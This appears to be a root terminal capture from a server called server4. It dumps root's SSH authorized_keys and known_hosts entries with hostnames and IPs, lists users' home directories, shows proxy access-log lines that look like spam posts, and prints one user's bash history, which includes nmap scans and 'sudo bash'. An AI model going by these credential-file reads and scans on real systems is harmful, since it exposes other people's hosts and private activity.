ftp://server3/home/gumbie/Electronics_Apps/Xlinx/Xilinx.PlanAhead.v8.2.3-ZWT.rar
  get   62.33 MB
ftp://server3/home/gumbie/Electronics_Apps/Xlinx/Xilinx.PlanAhead.v8.2.3.Linux-ZWT.rar
  get  256.00 kB
ftp://server3/home/gumbie/Electronics_Apps/Xlinx/Xten.Networks.X-Pro.v2.2.2.ALL.PPC.Retail-DVTPDA/Xten.Networks.X-Pro.v2.2.2.ALL.PPC.Retail-DVTPDA/d-000xt.rar
anonopen 1
anonpass gumbie@server4.zloche.net
blank-lines 1
ftp-mode 0
logsize 10240
maxbookmarks 0
pager /bin/more
progress-meter 2
remote-msgs 0
startup-lcwd 
startup-msgs 3
timeout 600
trace 0
utime 1
visual 1
show-trailing-space 0
total-runs 3
total-xfer-hundredths-of-seconds 61224
total-xfer-kbytes 213494
server4:~/.ncftp# cd ../.ssh
server4:~/.ssh# ls -alh
total 24K
drwx------   2 root root 4.0K Feb 13 02:41 .
drwx------  14 root root 4.0K Jun  1 06:58 ..
-rw-------   1 root root  509 Feb 21  2005 authorized_keys2
-rw-r--r--   1 root root 4.4K May 27 13:27 known_hosts
-rw-r--r--   1 root root 3.0K Feb  9 02:48 known_hosts~
server4:~/.ssh# cat *
from="213.186.50.100" ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAt3XaIhEoRK5sEKm6wtYyazLOx3w+Yv9+bpfEvLftH
r2hxZ2TY2A655iwMbgvhHqsMuGEjK9yGkZIQbUgB6HvOgOWOwJSX6Gc9Ac7GuH11xSU8t
HDuTQot6fVtgcm2Y/VUFi65Knz9rLHz7h/Zy29ek+UYav5T7juhBIuk57cDxs=
root@cache.ovh.net
from="::ffff:213.186.50.100" ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAt3XaIhEoRK5sEKm6wtYyazLOx3w+Yv9+bpfEvLftH
r2hxZ2TY2A655iwMbgvhHqsMuGEjK9yGkZIQbUgB6HvOgOWOwJSX6Gc9Ac7GuH11xSU8t
HDuTQot6fVtgcm2Y/VUFi65Knz9rLHz7h/Zy29ek+UYav5T7juhBIuk57cDxs=
root@cache.ovh.net


localhost ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAxgnjMIPg1s3fGZPAtyFjtcDUGX6my1X7YFYnlv1y9
PL78if+wsBgT6SY9WWtqeu1owAjCMeMHPfU3GMV9Q5dGD74CSENGpfzMr8vrFc+D8yqj9
vS080AFByxp/NN9AFYFUn4c7rYfdnPzBt/ur5f51KzlVyhV++TcSBX4rToqxM=
10.48.100.81 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAwDm7jfhCI0rtwj5/Wpv3AvHN81RKb3lFALFhtl80i
1KB2pMlBJNRuAkgvkPFpleyKEHol6tYuMSMCn6qiV4rKJ1wcKoTyVlYNl296381PYdYNX
SlA58SD4ErWx5Ttz45iAJL8I/2ToxGOX0k1abAIEPiaCKIsf1k7/23jBkWjlE=
www.zloche.net,80.248.208.223 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAzYgpHj6TWctv9JPyCM/uWdHMWWgnMmR9KkDXZuiGV
SNc/FyxIq6soDPhQ6nsYw3NoKEczB1aC6u1RMqueWyd0LLZD2QIVmJ1ijRtQDibKXEmlq
uOTUNZzB0RQIKgI4FOlpojpqTMziRUom2qChYoVBFLimYvH+b3fclaQaSichE=
81.93.5.180 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAtSbs8/VCyV0KAFHWmggnC3QHa2qh9AYdUYE4OrbUK
7oA4Ozq8D5V2GYhBmpkMvYcCENNi7cxyeTEMdEeBWok/zRcxRkGYAxM7Zg2NsbIez9+bB
1ojKy5BoNLsocoQbvzgVbxOXHvRwcWTGK9H7Yq8ZJPLC4ezsOpAcyTeBHEeuM=
66.168.220.212 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAQEAtmDaXUYBfpbI9nFkhEnqjRxLMWLxfkDdxeKDMs5or
hRjRa8GQ1AC3KpC7y+TaonfUM/dSXR0+1K1BJUtTAWxe5ZeCDKL4phDbubxDIJvFKcTfN
i+bjiwkHlz1OKDThvqtRt781wcJRnSbnXinhZk8Ia3v6AIHsoB5x/yljSwznrSDWuVwn5
LSkNtISOiOX91ItfxwKi8B0ZgSBdUkmAHqMyej98cRVvY/iATI5SrFRCfWNkC7gH/oFxX
M/bKB94H7TZ4W6wtfdjmkBrYxojDbUKKEfd1LywcJCTYxab8usl+Q39uYvqTfXwJDIYX+
BE810BNmXi0QA6WlYUOpMJj9Q==
server4.zloche.net,213.251.160.26 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEA1nrkiWUjg+BGB83ed97xlvJYWNm8FeE91nhXx05mZ
4HVDADi0qGmYnlXbuywe7Kf4R42C5Gw+ZLMKdMYCsDqa89dqNuSl0Mx7/qHPS3oQW/nPF
C8cFo1pI6v/R180uxorB5ggcLV4mgbZZnc4TltUMbrLRHYfAi3HbwGj6bIiuE=
zloche.zapto.org ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAQEAt9hfTe460T8l2oPkq3WD7fnie6fzIWH9ep1HX8NVS
zLFT+fUlLzgpWUU+g1HycYAV4S5nSfG3FSsPfeEETXzBaaYeAU87qn3vtjuRU7Fp5Tv6m
PnFiOJuDwJ4wG3yA8+oyRzTMThfhnGDP+H90eacVPjxoTN0lQiM3VvmhR4j9rTfaVkx9B
DmUz2sorEMAHcpajK3h2dB124tiNR/IggGvXmwPUJym10O1QZKVrjCkdbacz9zV4ROmc5
c/hucKGwZH9mOW+Zo1GB2OP7LHMPPCmO7qymvG67eOsyc/QmBQcsqBSPYmC1xNms9c6cb
nZeUvjYFY0rfQql39oytXeJ7w==
server4 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEA1nrkiWUjg+BGB83ed97xlvJYWNm8FeE91nhXx05mZ
4HVDADi0qGmYnlXbuywe7Kf4R42C5Gw+ZLMKdMYCsDqa89dqNuSl0Mx7/qHPS3oQW/nPF
C8cFo1pI6v/R180uxorB5ggcLV4mgbZZnc4TltUMbrLRHYfAi3HbwGj6bIiuE=
server3 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAzYgpHj6TWctv9JPyCM/uWdHMWWgnMmR9KkDXZuiGV
SNc/FyxIq6soDPhQ6nsYw3NoKEczB1aC6u1RMqueWyd0LLZD2QIVmJ1ijRtQDibKXEmlq
uOTUNZzB0RQIKgI4FOlpojpqTMziRUom2qChYoVBFLimYvH+b3fclaQaSichE=
server1.zloche.net,65.92.158.240 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAQEAt9hfTe460T8l2oPkq3WD7fnie6fzIWH9ep1HX8NVS
zLFT+fUlLzgpWUU+g1HycYAV4S5nSfG3FSsPfeEETXzBaaYeAU87qn3vtjuRU7Fp5Tv6m
PnFiOJuDwJ4wG3yA8+oyRzTMThfhnGDP+H90eacVPjxoTN0lQiM3VvmhR4j9rTfaVkx9B
DmUz2sorEMAHcpajK3h2dB124tiNR/IggGvXmwPUJym10O1QZKVrjCkdbacz9zV4ROmc5
c/hucKGwZH9mOW+Zo1GB2OP7LHMPPCmO7qymvG67eOsyc/QmBQcsqBSPYmC1xNms9c6cb
nZeUvjYFY0rfQql39oytXeJ7w==
server1 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAQEAt9hfTe460T8l2oPkq3WD7fnie6fzIWH9ep1HX8NVS
zLFT+fUlLzgpWUU+g1HycYAV4S5nSfG3FSsPfeEETXzBaaYeAU87qn3vtjuRU7Fp5Tv6m
PnFiOJuDwJ4wG3yA8+oyRzTMThfhnGDP+H90eacVPjxoTN0lQiM3VvmhR4j9rTfaVkx9B
DmUz2sorEMAHcpajK3h2dB124tiNR/IggGvXmwPUJym10O1QZKVrjCkdbacz9zV4ROmc5
c/hucKGwZH9mOW+Zo1GB2OP7LHMPPCmO7qymvG67eOsyc/QmBQcsqBSPYmC1xNms9c6cb
nZeUvjYFY0rfQql39oytXeJ7w==
65.94.126.14 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAQEAt9hfTe460T8l2oPkq3WD7fnie6fzIWH9ep1HX8NVS
zLFT+fUlLzgpWUU+g1HycYAV4S5nSfG3FSsPfeEETXzBaaYeAU87qn3vtjuRU7Fp5Tv6m
PnFiOJuDwJ4wG3yA8+oyRzTMThfhnGDP+H90eacVPjxoTN0lQiM3VvmhR4j9rTfaVkx9B
DmUz2sorEMAHcpajK3h2dB124tiNR/IggGvXmwPUJym10O1QZKVrjCkdbacz9zV4ROmc5
c/hucKGwZH9mOW+Zo1GB2OP7LHMPPCmO7qymvG67eOsyc/QmBQcsqBSPYmC1xNms9c6cb
nZeUvjYFY0rfQql39oytXeJ7w==
www.zloche.com ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAtSbs8/VCyV0KAFHWmggnC3QHa2qh9AYdUYE4OrbUK
7oA4Ozq8D5V2GYhBmpkMvYcCENNi7cxyeTEMdEeBWok/zRcxRkGYAxM7Zg2NsbIez9+bB
1ojKy5BoNLsocoQbvzgVbxOXHvRwcWTGK9H7Yq8ZJPLC4ezsOpAcyTeBHEeuM=
127.0.0.1 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEA1nrkiWUjg+BGB83ed97xlvJYWNm8FeE91nhXx05mZ
4HVDADi0qGmYnlXbuywe7Kf4R42C5Gw+ZLMKdMYCsDqa89dqNuSl0Mx7/qHPS3oQW/nPF
C8cFo1pI6v/R180uxorB5ggcLV4mgbZZnc4TltUMbrLRHYfAi3HbwGj6bIiuE=
irc.liveits.com,68.117.250.132 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAQEA4BAf00qd6FUDb41gGvjrAzt4fl7T52sPSZt6rj7sm
8JmBZcwiZbQLos4WWQ9C8EeWRwk8mP7DmoHapC8qs/PIfUOturidZUPWIpn/RQ5E/BiVy
9q+vSI0Oz3s7KXoD4LbCqzSca9jbKSdk1BlH8Jz+fOG5+XUcOYmcbaSYU73PqLt+gJ+Ye
XspnBjCCqA7/sD6KfgWAYQh8KiJYjciUJ1Kc5tw8MISW0v3Sxphp8QlcuAk1M8zKSP8uZ
Z4Dsiw/r75SjFCTNKOCr8dzcKwL3tyMRtPGH0sRDmLQI4ndmBEb1gldknSUZOilDVlYJK
K7phyzopzd+GXSXlIhWnhFc8w==
localhost ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAxgnjMIPg1s3fGZPAtyFjtcDUGX6my1X7YFYnlv1y9
PL78if+wsBgT6SY9WWtqeu1owAjCMeMHPfU3GMV9Q5dGD74CSENGpfzMr8vrFc+D8yqj9
vS080AFByxp/NN9AFYFUn4c7rYfdnPzBt/ur5f51KzlVyhV++TcSBX4rToqxM=
10.48.100.81 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAwDm7jfhCI0rtwj5/Wpv3AvHN81RKb3lFALFhtl80i
1KB2pMlBJNRuAkgvkPFpleyKEHol6tYuMSMCn6qiV4rKJ1wcKoTyVlYNl296381PYdYNX
SlA58SD4ErWx5Ttz45iAJL8I/2ToxGOX0k1abAIEPiaCKIsf1k7/23jBkWjlE=
www.zloche.net,80.248.208.223 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAzYgpHj6TWctv9JPyCM/uWdHMWWgnMmR9KkDXZuiGV
SNc/FyxIq6soDPhQ6nsYw3NoKEczB1aC6u1RMqueWyd0LLZD2QIVmJ1ijRtQDibKXEmlq
uOTUNZzB0RQIKgI4FOlpojpqTMziRUom2qChYoVBFLimYvH+b3fclaQaSichE=
81.93.5.180 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAtSbs8/VCyV0KAFHWmggnC3QHa2qh9AYdUYE4OrbUK
7oA4Ozq8D5V2GYhBmpkMvYcCENNi7cxyeTEMdEeBWok/zRcxRkGYAxM7Zg2NsbIez9+bB
1ojKy5BoNLsocoQbvzgVbxOXHvRwcWTGK9H7Yq8ZJPLC4ezsOpAcyTeBHEeuM=
66.168.220.212 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAQEAtmDaXUYBfpbI9nFkhEnqjRxLMWLxfkDdxeKDMs5or
hRjRa8GQ1AC3KpC7y+TaonfUM/dSXR0+1K1BJUtTAWxe5ZeCDKL4phDbubxDIJvFKcTfN
i+bjiwkHlz1OKDThvqtRt781wcJRnSbnXinhZk8Ia3v6AIHsoB5x/yljSwznrSDWuVwn5
LSkNtISOiOX91ItfxwKi8B0ZgSBdUkmAHqMyej98cRVvY/iATI5SrFRCfWNkC7gH/oFxX
M/bKB94H7TZ4W6wtfdjmkBrYxojDbUKKEfd1LywcJCTYxab8usl+Q39uYvqTfXwJDIYX+
BE810BNmXi0QA6WlYUOpMJj9Q==
irc.liveits.com ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAQEAtmDaXUYBfpbI9nFkhEnqjRxLMWLxfkDdxeKDMs5or
hRjRa8GQ1AC3KpC7y+TaonfUM/dSXR0+1K1BJUtTAWxe5ZeCDKL4phDbubxDIJvFKcTfN
i+bjiwkHlz1OKDThvqtRt781wcJRnSbnXinhZk8Ia3v6AIHsoB5x/yljSwznrSDWuVwn5
LSkNtISOiOX91ItfxwKi8B0ZgSBdUkmAHqMyej98cRVvY/iATI5SrFRCfWNkC7gH/oFxX
M/bKB94H7TZ4W6wtfdjmkBrYxojDbUKKEfd1LywcJCTYxab8usl+Q39uYvqTfXwJDIYX+
BE810BNmXi0QA6WlYUOpMJj9Q==
server1.zloche.net,65.92.158.240 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAziexE08HtpgQFXCsqn1Hg0bn54ZzecIYNyNZzwK45
zhO03/wr3pGmQtZQbv9R2Jma/vSW7IFPmz2ZyZodLpr3QciqqPOn5xvC7GFLrrrlBYzX8
uggew4gUq9Uc9vxXrDKHh2aAz7rA+gPOM/1iq1Xuve754ZTOhdSXaasNJMb4U=
server4.zloche.net,213.251.160.26 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEA1nrkiWUjg+BGB83ed97xlvJYWNm8FeE91nhXx05mZ
4HVDADi0qGmYnlXbuywe7Kf4R42C5Gw+ZLMKdMYCsDqa89dqNuSl0Mx7/qHPS3oQW/nPF
C8cFo1pI6v/R180uxorB5ggcLV4mgbZZnc4TltUMbrLRHYfAi3HbwGj6bIiuE=
zloche.zapto.org ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAQEAt9hfTe460T8l2oPkq3WD7fnie6fzIWH9ep1HX8NVS
zLFT+fUlLzgpWUU+g1HycYAV4S5nSfG3FSsPfeEETXzBaaYeAU87qn3vtjuRU7Fp5Tv6m
PnFiOJuDwJ4wG3yA8+oyRzTMThfhnGDP+H90eacVPjxoTN0lQiM3VvmhR4j9rTfaVkx9B
DmUz2sorEMAHcpajK3h2dB124tiNR/IggGvXmwPUJym10O1QZKVrjCkdbacz9zV4ROmc5
c/hucKGwZH9mOW+Zo1GB2OP7LHMPPCmO7qymvG67eOsyc/QmBQcsqBSPYmC1xNms9c6cb
nZeUvjYFY0rfQql39oytXeJ7w==
server4 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEA1nrkiWUjg+BGB83ed97xlvJYWNm8FeE91nhXx05mZ
4HVDADi0qGmYnlXbuywe7Kf4R42C5Gw+ZLMKdMYCsDqa89dqNuSl0Mx7/qHPS3oQW/nPF
C8cFo1pI6v/R180uxorB5ggcLV4mgbZZnc4TltUMbrLRHYfAi3HbwGj6bIiuE=
server3 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAzYgpHj6TWctv9JPyCM/uWdHMWWgnMmR9KkDXZuiGV
SNc/FyxIq6soDPhQ6nsYw3NoKEczB1aC6u1RMqueWyd0LLZD2QIVmJ1ijRtQDibKXEmlq
uOTUNZzB0RQIKgI4FOlpojpqTMziRUom2qChYoVBFLimYvH+b3fclaQaSichE=
server4:/home# ls -alh
total 673M
d-wx--s--x  17 root        root        4.0K May  6 03:51 .
drwxr-xr-x  21 root        root        4.0K Feb 13 02:25 ..
-rw-r-----   1 proxy       proxy       673M May  6 03:51 access.log
drwxrwxrwx   8 chat        chat        4.0K Mar 29 13:36 chat
drwxr-xr-x   3 djdd        djdd        4.0K Feb  1 04:28 djdd
drwxr-sr-x   2 root        nogroup     4.0K Jan 30 00:11 ftp
drwxr-xr-x   2 gnomex      gnomex      4.0K Apr 13 22:21 gnomex
drwxr-xr-x  10 gumbie      gumbie      4.0K May 30 04:45 gumbie
drwxrwxrwx  12 hlds        hlds        8.0K Mar  3 19:31 hlds
drwxr-xr-x   6 ircd        ircd        4.0K Feb  7 05:18 ircd
drwx------   2 root        root         16K Jan 28 14:14 lost+found
drwxr-xr-x   7 madstorm    madstorm    4.0K Apr  1 09:30 madstorm
drwxr-xr-x   8 misterinfo  misterinfo  4.0K Feb 16 22:54 misterinfo
drwx------   5 prototype   prototype   4.0K Jun  3 20:01 prototype
drwxr-xr-x  25 stax        stax        4.0K Jun  8 04:51 stax
drwxrwxrwx   5 www         www         4.0K Apr 27 18:28 www
drwxrwxrwx   9 xposedbones xposedbones 4.0K Mar 31 01:07 xposedbones
drwxr-xr-x   6 yumiro      yumiro      4.0K Jun  7 18:47 yumiro
server4:/home# head access.log 
1178339246.919     74 58.211.123.102 TCP_MISS/302 524 GET
http://ad.iconadserver.com/imp? - DIRECT/208.67.68.11 -
1178339246.955     34 58.211.123.102 TCP_MISS/302 522 GET
http://ad.iconadserver.com/imp? - DIRECT/208.67.68.11 -
1178339246.969   1314 72.36.179.122 TCP_MISS/200 14794 GET
http://www.gzlvc.com/mfkiqpl/guestbook.asp - DIRECT/69.25.142.5 text/html
1178339246.969    565 72.232.14.66 TCP_MISS/302 503 POST
http://mino.s35.xrea.com/mino/cbbs.cgi - DIRECT/219.163.200.87 text/html
1178339247.011   1161 66.232.123.181 TCP_MISS/200 7229 POST
http://hamohamo-web.hp.infoseek.co.jp/cgi-bin/light62/./light.cgi -
DIRECT/210.148.115.140 text/html
1178339247.051   2061 72.232.14.66 TCP_MISS/200 494 POST
http://kevadlilleke.pri.ee/wp-comments-post.php - DIRECT/194.106.101.165
text/html
1178339247.088     25 58.211.123.102 TCP_MISS/302 519 GET
http://ad.iconadserver.com/imp? - DIRECT/208.67.68.11 -
1178339247.125   1970 72.232.14.66 TCP_MISS/302 511 POST
http://www.stratabase.com/resync/phorum/post.php - DIRECT/207.81.157.129
text/html
1178339247.132     40 58.211.123.98 TCP_MISS/200 1631 GET
http://ad.yieldmanager.com/imp? - DIRECT/208.67.68.11 application/x-javascript
1178339247.147   1334 58.211.123.102 TCP_HIT/200 12680 GET
http://content.iconadserver.com/rmtag3.js - NONE/- application/x-javascript
server4:/home# cd stax
server4:/home/stax# ls -alh
total 793M
-rw-r-xr--   1 stax stax      5 May 23 19:01 #TMPZONLINE#
-rwxrwxrwx   1 stax stax      3 Apr 18 23:59 #msnbot#
drwxr-xr-x  25 stax stax   4.0K Jun  8 04:51 .
d-wx--s--x  17 root root   4.0K May  6 03:51 ..
-rw-r--r--   1 stax stax    266 Jan 28 17:48 .alias
-rw-------   1 stax stax   8.5K Jun  9 01:45 .bash_history
-rw-r--r--   1 stax stax    567 Jan 28 17:48 .bash_profile
-rw-r--r--   1 stax stax   1.8K Jan 28 17:48 .bashrc
-rw-r--r--   1 stax stax    375 Jan 28 17:48 .cshrc
drwx------   2 root root   4.0K Apr 26 18:04 .elinks
drwxr-xr-x   3 root root   4.0K Jan 28 21:41 .emacs.d
drwx------   2 root root   4.0K Jan 28 18:18 .links
-rw-------   1 root root      0 Jan 28 23:12 .mysql_history
-rw-------   1 root root   1.0K Feb  1 04:23 .rnd
drwx------   2 stax stax   4.0K Apr  4 18:43 .ssh
drwxr-x---   2 stax stax   4.0K Jan 28 21:25 .steam
-rwxrwxrwx   1 stax stax    25K Mar 27 05:44 Charlie Gordon est un simple
d.doc
-rwxrwxrwx   1 stax stax    25K Mar 29 18:28
Charlie_Gordon_est_un_simple_d.doc
drwxr-xr-x   2 stax stax   4.0K May  6 04:44 DEVLulZ
-rw-r--r--   1 stax stax   256K Jun  4 18:27 Death_Note_18_anime-master_fr.rar
-rw-r--r--   1 stax stax   165M Apr 28 10:08 Death_Note_28_anime-master_fr.rar
-rw-r--r--   1 stax stax   165M May  5 11:42 Death_Note_29_anime-master_fr.rar
-rw-r--r--   1 stax stax   164M May 13 19:08 Death_Note_30_anime-master_fr.rar
-rw-r--r--   1 stax stax   8.8M Jun  4 18:28 Death_Note_31_anime-master_fr.rar
-rw-r--r--   1 stax stax   164M May 22 18:03
Death_Note_31_anime-master_fr.rar.1
-rw-r--r--   1 stax stax   108M Apr 29 21:34 Flash8-en.exe
-rwxrwxrwx   1 stax stax   2.1M Apr  5 23:44 Infomercial.mov
drwxr-xr-x   2 stax stax   4.0K May 23 19:02 TMPZONLINE
-rw-r--r--   1 stax stax    19K May 20 10:12 WebServer.php
drwxrwxrwx  12 hlds hlds   4.0K Jun  1  2006 amxmodx_
-rwxrwxrwx   1 root root    30K Jan 30 08:33 asdasd.txt
-rw-r--r--   1 stax stax   5.0K Jun  6 18:45 b0t.php
-rw-r--r--   1 stax stax   5.0K Jun  6 18:43 b0t.php~
drwxr-xr-x   2 stax stax   4.0K May 30 23:24 bidvertads
-rwxrwxrwx   1 stax stax     83 Feb 22 01:01 cmd.for.dl.txt
drwxr-xr-x   2 stax stax    20K Apr 26 00:36 comics
drwxr-xr-x   2 stax stax   4.0K Apr 25 23:45 ctrlaltdel
drwxr-xr-x   6 stax stax   4.0K Jun  8 03:42 files
drwxrwxrwx   3 root root   4.0K Feb 12 01:35 firefox-2.0
-rw-r--r--   1 stax stax    728 May 20 05:51 http.php
-rw-r--r--   1 stax stax    728 May 20 05:50 http.php~
drwxrwxrwx   3 stax stax   4.0K Apr 23 04:47 irc-server
-rwxrwxrwx   1 stax stax   3.7K Feb 14 05:24 meh.sh
-rwxrwxrwx   1 root root   9.3K Jan 30 00:38 meh.txt
-rwxrwxrwx   1 root root    27K Jan 30 00:38 meh.txt2
drwxrwxrwx   4 stax stax   4.0K Jun  8 16:53 msnbot
-rw-------   1 stax stax   270K Jun  4 18:33 nohup.out
-rw-r--r--   1 stax stax    167 May  2 18:21 notimeout.php
-rw-r--r--   1 stax stax    156 May  2 18:15 notimeout.php~
-rw-r--r--   1 stax stax     54 May 16 18:31 omfgjavacourse.txt
drwxrwxrwx   2 stax stax   4.0K Mar 28 18:11 projet_francais
drwxr-xr-x   2 stax stax   4.0K Apr 28 05:56 public_html
-rw-r--r--   1 stax stax   4.7K Jun  3 22:29 real.bot
-rw-r--r--   1 stax stax   4.7K Jun  3 10:25 real.bot~
-rwxrwxrwx   1 root root   1.9K Apr 29 23:43 richo.py
-rw-r--r--   1 stax stax      0 Jun  6 18:50 say
drwxr-xr-x   2 stax stax   4.0K Jun  8 03:56 sessions
drwxrwxr-x   2 stax shared 4.0K Apr 28 05:04 shared
-rwxrwxrwx   1 stax stax   118K Feb  7 04:49 squid.conf
-rw-r--r--   1 stax stax    143 Jun  6 18:36 talk.php
drwxr-xr-x   2 stax stax   320K Jun  7 18:58 vaginite
drwxrwxrwx   2 stax stax   4.0K Apr  4 23:42 ventrilo
-rwxrwxrwx   1 root root    10M Jan 21 22:15 webmin_1.320_all.deb
drwxrwxrwx   6 stax stax   4.0K Feb 19 01:21 webtv
-rw-r--r--   1 stax stax     77 May 14 00:09 wget.txt
-rw-r--r--   1 stax stax   1014 Apr 26 00:33 yay.php
-rw-r--r--   1 stax stax   1014 Apr 26 00:24 yay.php~
-rwxrwxrwx   1 stax stax   5.4M Mar  5 07:09 zonline.tar
drwxr-xr-x   2 stax stax   4.0K Jun  8 05:36 zradio-script
server4:/home/stax# more .bash_history
ssh zloche@server3
ssh server2
ssh zloche@server3
ssh server2
ssh server2
w
ssh zloche@server3
ssh zloche@zloche.net
ls
ssh zloche@zloche.net
w
ls
mkdir bidvertads
cd bidvertads/
wget
http://secure.bidvertiser.com/performance/bdv_rd.dbm?enparms=72,154468,2234
28,385,984,522,533,548,388,587&REF=www.zloche.net/chat%2F&TREF=1&WIN_NAME=null&e
nparms2=632,154696,223695,581,632,632,616,1130,970,587,582&jloc=http%3A//bdv.bid
vertiser.com/BidVertiser.dbm%3Fpid%3D44284%26bid%3D154114%26RD%3D3056626%26DIF%3
D1%26REF%3Dwww%252Ezloche%252Enet%252Fchat%252F%26tref%3D1%26win_name%3Dnull%26j
srand%3D125549%26js1loc%3Dhttp%253A//www.zloche.net/chat/
wget
"http://secure.bidvertiser.com/performance/bdv_rd.dbm?enparms=72,154468,223
428,385,984,522,533,548,388,587&REF=www.zloche.net/chat%2F&TREF=1&WIN_NAME=null&
enparms2=632,154696,223695,581,632,632,616,1130,970,587,582&jloc=http%3A//bdv.bi
--More--(10%)
dvertiser.com/BidVertiser.dbm%3Fpid%3D44284%26bid%3D154114%26RD%3D3056626%26DIF%
3D1%26REF%3Dwww%252Ezloche%252Enet%252Fchat%252F%26tref%3D1%26win_name%3Dnull%26
jsrand%3D125549%26js1loc%3Dhttp%253A//www.zloche.net/chat/"
wget
"http://secure.bidvertiser.com/performance/bdv_rd.dbm?enparms=72,154468,223
428,385,984,522,533,548,388,587&REF=www.zloche.net/chat%2F&TREF=1&WIN_NAME=null&
enparms2=632,154696,223695,581,632,632,616,1130,970,587,582&jloc=http%3A//bdv.bi
dvertiser.com/BidVertiser.dbm%3Fpid%3D44284%26bid%3D154114%26RD%3D3056626%26DIF%
3D1%26REF%3Dwww%252Ezloche%252Enet%252Fchat%252F%26tref%3D1%26win_name%3Dnull%26
jsrand%3D125549%26js1loc%3Dhttp%253A//www.zloche.net/chat/"
wget
"http://secure.bidvertiser.com/performance/bdv_rd.dbm?enparms=72,154468,223
428,385,984,522,533,548,388,587&REF=www.zloche.net/chat%2F&TREF=1&WIN_NAME=null&
enparms2=632,154696,223695,581,632,632,616,1130,970,587,582&jloc=http%3A//bdv.bi
dvertiser.com/BidVertiser.dbm%3Fpid%3D44284%26bid%3D154114%26RD%3D3056626%26DIF%
3D1%26REF%3Dwww%252Ezloche%252Enet%252Fchat%252F%26tref%3D1%26win_name%3Dnull%26
jsrand%3D125549%26js1loc%3Dhttp%253A//www.zloche.net/chat/"
wget
"http://secure.bidvertiser.com/performance/bdv_rd.dbm?enparms=72,154468,223
428,385,984,522,533,548,388,587&REF=www.zloche.net/chat%2F&TREF=1&WIN_NAME=null&
enparms2=632,154696,223695,581,632,632,616,1130,970,587,582&jloc=http%3A//bdv.bi
dvertiser.com/BidVertiser.dbm%3Fpid%3D44284%26bid%3D154114%26RD%3D3056626%26DIF%
3D1%26REF%3Dwww%252Ezloche%252Enet%252Fchat%252F%26tref%3D1%26win_name%3Dnull%26
jsrand%3D125549%26js1loc%3Dhttp%253A//www.zloche.net/chat/"
w
cd ~pro
--More--(28%)

cd ~proxy/
ls
namp -sad
nmap -sad
nmap p 0-9999999
nmap p 0-9999999 localhost
nmap -p0-9999999 localhost
nmap -p0-65535 localhost
cd /www/server4/animes/
ls
emacs .htaccess
ssh server2
w
w
w
who
ssh stax@server2
ssh stax@server3
ssh stax@server3.zloche.net
ssh stax@zloche.net
w
emacs real.bot
emacs real.bot
--More--(32%)
php real.bot
emacs real.bot
php real.bot
emacs real.bot
php real.bot
emacs real.bot
php real.bot
php real.bot
emacs real.bot
php real.bot
emacs real.bot
php real.bot
emacs real.bot
php real.bot
emacs real.bot
php real.bot
emacs real.bot
php real.bot
emacs real.bot
php real.bot
emacs real.bot
php real.bot
emacs real.bot
--More--(36%)

php real.bot
emacs real.bot
php real.bot
emacs real.bot
php real.bot
emacs real.bot
emacs real.bot
emacs real.bot
php real.bot
emacs real.bot
php real.bot
emacs real.bot
php real.bot
emacs real.bot
php real.bot
emacs real.bot
php real.bot
w
w
php real.bot
emacs real.bot
php real.bot
emacs real.bot
--More--(39%)
php real.bot
emacs real.bot
php real.bot
emacs real.bot
php real.bot
emacs real.bot
php real.bot
emacs real.bot
php real.bot
emacs real.bot
php real.bot
emacs real.bot
php real.bot
emacs real.bot
php real.bot
emacs real.bot
php real.bot
emacs real.bot
php real.bot
php real.bot
emacs real.bot
php real.bot
emacs real.bot
--More--(43%)

php real.bot
emacs real.bot
php real.bot
w
ssh zloche@server3
ssh zloche@zloche.net
w
top -aef
top -zef
top -bef
top -bf
top -b
ping ks33756.kimsufi.com
ping ks33756.kimsufi.com
nmap ks33756.kimsufi.com
w
w
w
w
w
w
w
w
--More--(45%)
w
w
ww
w
w
w
whois 68.98.115.176
ssh zloche@www.zloche.net
w
ls
cd msnbot/
emacs msnbot.php
ls *
ls * | ls */* | ls */*/*
w
ls * | ls */*
w
ls
cd www/
ls
ls
cd chat__/
ls
--More--(47%)

w
w
ssh stax@www.zloche.net
w
who
ls
less cmd.for.dl.txt
 wget
http://88.191.14.73/awarefirst/Death%20Note/Death_Note_18_anime-master_fr.
rar
 wget
http://88.191.14.73/awarefirst/Death%20Note/Death_Note_31_anime-master_fr.
rar
nohup  wget
http://88.191.14.73/awarefirst/Death%20Note/Death_Note_31_anime-mast
er_fr.rar &
ls
cd /
ls
sudo bash
w
ssh zloche@zloche.net
php real.bot
w
w
php real.bot
--More--(52%)

w
ssh zloche@www.zloche.net
write yumiro 
ls
cp real.bot /www/server4/4yumiro.phps
w
ssh zloche@www.zloche.net
cp /home/yumiro/bot.php b0t.php
emacs b0t.php 
emacs b0t.php 
emacs talk.php
php b0t.php &
emacs say
pgp b0t.php
php b0t.php
php b0t.php &
php talk.php 
cp talk.php /www/home/yumiro/talk.php
